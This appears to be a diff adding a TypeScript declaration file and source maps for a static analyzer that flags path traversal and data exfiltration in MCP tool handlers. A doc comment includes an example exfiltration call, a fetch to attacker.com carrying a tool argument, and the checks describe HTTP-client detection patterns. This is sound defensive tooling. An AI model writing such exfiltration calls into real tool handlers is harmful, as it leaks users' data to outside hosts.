AAG,eAAe,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;4BACrD,MAAM,UAAU,GAAG,SAAS,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;4BAC7C,MAAM,SAAS,GAAG,QAAQ,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;4BAC3C,IAAI,YAAY,IAAI,CAAC,UAAU,IAAI,SAAS,CAAC,EAAE,CAAC;gCAC9C,MAAM,QAAQ,GAAG,UAAU,CAAC,CAAC,CAAC,mBAAmB,CAAC,CAAC,CAAC,YAAY,CAAC;gCACjE,eAAe,CAAC,IAAI,CAAC,mBAAmB,CAAC;oCACvC,QAAQ,EAAE,YAAY;oCACtB,QAAQ,EAAE,UAAU;oCACpB,UAAU,EAAE,MAAM;oCAClB,OAAO,EAAE,iDAAiD,QAAQ,OAAO;oCACzE,IAAI,EAAE,CAAC,GAAG,CAAC;oCACX,UAAU,EAAE,6GAA6G;oCACzH,KAAK,EAAE,sBAAsB;oCAC7B,GAAG,EAAE,qDAAqD;oCAC1D,MAAM,EAAE,eAAe;oCACvB,YAAY,EAAE;wCACZ,WAAW,EAAE,gNAAgN;wCAC7N,cAAc,EAAE,qEAAqE;wCACrF,eAAe,EAAE;4CACf,6CAA6C;4CAC7C,8CAA8C;4CAC9C,8CAA8C;4CAC9C,iDAAiD;yCAClD;qCACF;oCACD,WAAW,EAAE;wCACX,MAAM,EAAE,qEAAqE;wCAC7E,KAAK,EAAE,+MAA+M;wCACtN,WAAW,EAAE,kGAAkG;qCAChH;iCACF,CAAC,CAAC,CAAC;4BACN,CAAC;wBACH,CAAC;wBACD,MAAM;oBACR,CAAC;gBACH,CAAC;gBACD,IAAI,CAAC,aAAa,EAAE,CAAC;oBACnB,8EAA8E;oBAC9E,MAAM,KAAK,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;oBAC/C,MAAM,MAAM,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;oBAChD,UAAU,IAAI,KAAK,GAAG,MAAM,CAAC;gBAC/B,CAAC;gBACD,SAAS;YACX,CAAC;YACD,4DAA4D;YAC5D,MAAM,KAAK,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;YAC/C,MAAM,MAAM,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;YAChD,UAAU,IAAI,KAAK,GAAG,MAAM,CAAC;QAC/B,CAAC;aAAM,CAAC;YACN,0BAA0B;YAC1B,MAAM,KAAK,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;YAC/C,MAAM,MAAM,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;YAChD,UAAU,IAAI,KAAK,GAAG,MAAM,CAAC;YAE7B,8EAA8E;YAC9E,IAAI,UAAU,GAAG,iBAAiB,EAAE,CAAC;gBACnC,aAAa,GAAG,KAAK,CAAC;gBACtB,UAAU,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,UAAU,CAAC,CAAC;gBACrC,SAAS;YACX,CAAC;YAED,wEAAwE;YACxE,MAAM,YAAY,GAAG,eAAe,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;YAChD,MAAM,UAAU,GAAG,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;YACxC,MAAM,SAAS,GAAG,QAAQ,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;YAEtC,IAAI,YAAY,IAAI,CAAC,UAAU,IAAI,SAAS,CAAC,EAAE,CAAC;gBAC9C,MAAM,QAAQ,GAAG,UAAU,CAAC,CAAC,CAAC,mBAAmB,CAAC,CAAC,CAAC,YAAY,CAAC;gBACjE,gFAAgF;gBAChF,kFAAkF;gBAClF,gEAAgE;gBAChE,eAAe,CAAC,IAAI,CAAC,mBAAmB,CAAC;oBACvC,QAAQ,EAAE,YAAY;oBACtB,QAAQ,EAAE,UAAU;oBACpB,UAAU,EAAE,MAAM;oBAClB,OAAO,EAAE,iDAAiD,QAAQ,OAAO;oBACzE,IAAI,EAAE,UAAU;oBAChB,UAAU,EAAE,6GAA6G;oBACzH,KAAK,EAAE,sBAAsB;oBAC7B,GAAG,EAAE,qDAAqD;oBAC1D,MAAM,EAAE,eAAe;oBACvB,YAAY,EAAE;wBACZ,WAAW,EAAE,gNAAgN;wBAC7N,cAAc,EAAE,qHAAqH;wBACrI,eAAe,EAAE;4BACf,6CAA6C;4BAC7C,8CAA8C;4BAC9C,8CAA8C;4BAC9C,iDAAiD;yBAClD;qBACF;oBACD,WAAW,EAAE;wBACX,MAAM,EAAE,8EAA8E;wBACtF,KAAK,EAAE,+MAA+M;wBACtN,WAAW,EAAE,8MAA8M;qBAC5N;iBACF,CAAC,CAAC,CAAC;YACN,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,eAAe,CAAC;AACzB,CAAC;AAED,gFAAgF;AAEhF,MAAM,UAAU,GAAG,sFAAsF,CAAC;AAE1G;;;;;;;GAOG;AACH,SAAgB,kBAAkB,CAChC,IAAY,EACZ,mBAA0C;IAE1C,MAAM,eAAe,GAA4B,EAAE,CAAC;IACpD,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;IAC/B,IAAI,aAAa,GAAG,KAAK,CAAC;IAC1B,IAAI,UAAU,GAAG,CAAC,CAAC;IAEnB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QACtC,MAAM,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;QACtB,MAAM,UAAU,GAAG,CAAC,GAAG,CAAC,CAAC;QACzB,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;QAE5B,IAAI,CAAC,aAAa,EAAE,CAAC;YACnB,IAAI,kBAAkB,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;gBAClC,aAAa,GAAG,IAAI,CAAC;gBACrB,UAAU,GAAG,CAAC,CAAC;YACjB,CAAC;QACH,CAAC;QAED,IAAI,aAAa,EAAE,CAAC;YAClB,KAAK,MAAM,EAAE,IAAI,IAAI,EAAE,CAAC;gBACtB,IAAI,EAAE,KAAK,GAAG;oBAAE,UAAU,EAAE,CAAC;gBAC7B,IAAI,EAAE,KAAK,GAAG,EAAE,CAAC;oBACf,UAAU,EAAE,CAAC;oBACb,IAAI,UAAU,GAAG,CAAC,EAAE,CAAC;wBACnB,aAAa,GAAG,KAAK,CAAC;wBACtB,UAAU,GAAG,CAAC,CAAC;wBACf,MAAM;oBACR,CAAC;gBACH,CAAC;YACH,CAAC;YAED,IAAI,aAAa,IAAI,UAAU,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,CAAC;gBAC9C,eAAe,CAAC,IAAI,CAAC,mBAAmB,CAAC;oBACvC,QAAQ,EAAE,YAAY;oBACtB,QAAQ,EAAE,UAAU;oBACpB,UAAU,EAAE,MAAM;oBAClB,OAAO,EAAE,mEAAmE;oBAC5E,IAAI,EAAE,UAAU;oBAChB,UAAU,EAAE,gHAAgH;oBAC5H,KAAK,EAAE,sBAAsB;oBAC7B,GAAG,EAAE,sDAAsD;oBAC3D,MAAM,EAAE,eAAe;oBACvB,YAAY,EAAE;wBACZ,WAAW,EAAE,0LAA0L;wBACvM,cAAc,EAAE,2EAA2E;wBAC3F,eAAe,EAAE;4BACf,0BAA0B;4BAC1B,wBAAwB;4BACxB,mBAAmB;4BACnB,sBAAsB;yBACvB;qBACF;oBACD,WAAW,EAAE;wBACX,MAAM,EAAE,4EAA4E;wBACpF,KAAK,EAAE,uOAAuO;wBAC9O,WAAW,EAAE,4JAA4J;qBAC1K;iBACF,CAAC,CAAC,CAAC;YACN,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,eAAe,CAAC;AACzB,CAAC;AAED,gFAAgF;AAEhF,MAAM,kBAAkB,GAAG,sBAAsB,CAAC;AAClD,MAAM,aAAa,GAAG,mCAAmC,CAAC;AAE1D;;;;;;;;GAQG;AACH,SAAgB,cAAc,CAC5B,IAAY,EACZ,mBAA0C;IAE1C,MAAM,eAAe,GAA4B,EAAE,CAAC;IACpD,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;IAC/B,IAAI,aAAa,GAAG,KAAK,CAAC;IAC1B,IAAI,UAAU,GAAG,CAAC,CAAC;IAEnB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QACtC,MAAM,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;QACtB,MAAM,UAAU,GAAG,CAAC,GAAG,CAAC,CAAC;QACzB,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;QAE5B,IAAI,CAAC,aAAa,EAAE,CAAC;YACnB,IAAI,kBAAkB,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;gBAClC,aAAa,GAAG,IAAI,CAAC;gBACrB,UAAU,GAAG,CAAC,CAAC;YACjB,CAAC;QACH,CAAC;QAED,IAAI,aAAa,EAAE,CAAC;YAClB,KAAK,MAAM,EAAE,IAAI,IAAI,EAAE,CAAC;gBACtB,IAAI,EAAE,KAAK,GAAG;oBAAE,UAAU,EAAE,CAAC;gBAC7B,IAAI,EAAE,KAAK,GAAG,EAAE,CAAC;oBACf,UAAU,EAAE,CAAC;oBACb,IAAI,UAAU,GAAG,CAAC,EAAE,CAAC;wBACnB,aAAa,GAAG,KAAK,CAAC;wBACtB,UAAU,GAAG,CAAC,CAAC;wBACf,MAAM;oBACR,CAAC;gBACH,CAAC;YACH,CAAC;YAED,IAAI,aAAa,IAAI,aAAa,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,kBAAkB,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,CAAC;gBACrF,eAAe,CAAC,IAAI,CAAC,mBAAmB,CAAC;oBACvC,QAAQ,EAAE,YAAY;oBACtB,QAAQ,EAAE,UAAU;oBACpB,UAAU,EAAE,MAAM;oBAClB,OAAO,EAAE,mFAAmF;oBAC5F,IAAI,EAAE,UAAU;oBAChB,UAAU,EAAE,+EAA+E;oBAC3F,KAAK,EAAE,sBAAsB;oBAC7B,GAAG,EAAE,6BAA6B;oBAClC,MAAM,EAAE,eAAe;oBACvB,YAAY,EAAE;wBACZ,WAAW,EAAE,6NAA6N;wBAC1O,cAAc,EAAE,2EAA2E;wBAC3F,eAAe,EAAE;4BACf,4CAA4C;4BAC5C,6BAA6B;4BAC7B,mBAAmB;yBACpB;qBACF;oBACD,WAAW,EAAE;wBACX,MAAM,EAAE,mCAAmC;wBAC3C,KAAK,EAAE,sEAAsE;wBAC7E,WAAW,EAAE,uGAAuG;qBACrH;iBACF,CAAC,CAAC,CAAC;YACN,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,eAAe,CAAC;AACzB,CAAC"}
@@ -0,0 +1,53 @@
1
+ /**
2
+ * MCP Path & Exfiltration Security Checks — JavaScript/TypeScript
3
+ *
4
+ * Contains path traversal and data exfiltration checks for MCP tool handlers:
5
+ * MCP-JS-003 — Path traversal via path.join/resolve without boundary check
6
+ * MCP-JS-004 — Data exfiltration via outbound HTTP with tool arg in URL
7
+ *
8
+ * Both checks use brace-depth tracking scoped to tool handler callbacks,
9
+ * preventing false positives on path/HTTP calls outside handlers.
10
+ *
11
+ * @module mcp-security-path-checks
12
+ */
13
+ import { SecurityVulnerability } from '../../types';
14
+ import { CreateVulnerabilityFn } from './mcp-security';
15
+ /**
16
+ * MCP-JS-003: Path traversal in tool handler without boundary check
17
+ * Severity: HIGH (CVSS 7.5) | CWE-22
18
+ *
19
+ * Detects tool handlers that build filesystem paths using path.join/resolve
20
+ * with a tool argument, but do NOT perform a startsWith() boundary check in
21
+ * the same handler to confine access to an allowed directory.
22
+ *
23
+ * Algorithm:
24
+ * 1. Track entry/exit of each server.tool() callback via brace depth.
25
+ * 2. Inside the handler, record lines where path.join/resolve AND a tool arg
26
+ * access appear together.
27
+ * 3. Also watch for .startsWith() — this is the safe-pattern signal.
28
+ * 4. On handler exit: if path join lines were found AND no boundary check was
29
+ * seen, emit MCP-JS-003 for each flagged line.
30
+ *
31
+ * Safe pattern: path.resolve(BASE, args.x) + resolved.startsWith(BASE) → no finding.
32
+ */
33
+ export declare function checkPathTraversal(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
34
+ /**
35
+ * MCP-JS-004: Data exfiltration via outbound HTTP in tool handler
36
+ * Severity: HIGH (CVSS 7.5) | CWE-200
37
+ *
38
+ * Detects tool handlers that make outbound HTTP requests (fetch, axios,
39
+ * https.request, got, request) where the URL is a template literal containing
40
+ * a tool argument interpolation. Static URLs without arg interpolation are safe
41
+ * and are not flagged.
42
+ *
43
+ * Algorithm:
44
+ * 1. Track entry/exit of each server.tool() callback via brace depth.
45
+ * 2. Inside the handler, check each line for an HTTP client call AND a
46
+ * template literal URL that interpolates a tool arg.
47
+ * 3. Emit MCP-JS-004 for each matching line.
48
+ *
49
+ * Safe pattern: fetch('https://static.api/endpoint') → no finding.
50
+ * Dangerous: fetch(`https://attacker.com?q=${args.query}`) → finding.
51
+ */
52
+ export declare function checkDataExfiltration(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
53
+ //# sourceMappingURL=mcp-security-path-checks.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"mcp-security-path-checks.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AACpD,OAAO,EAAE,qBAAqB,EAAE,MAAM,gBAAgB,CAAC;AAkCvD;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,kBAAkB,CAChC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CAsFzB;AAID;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,qBAAqB,CACnC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CAgEzB"}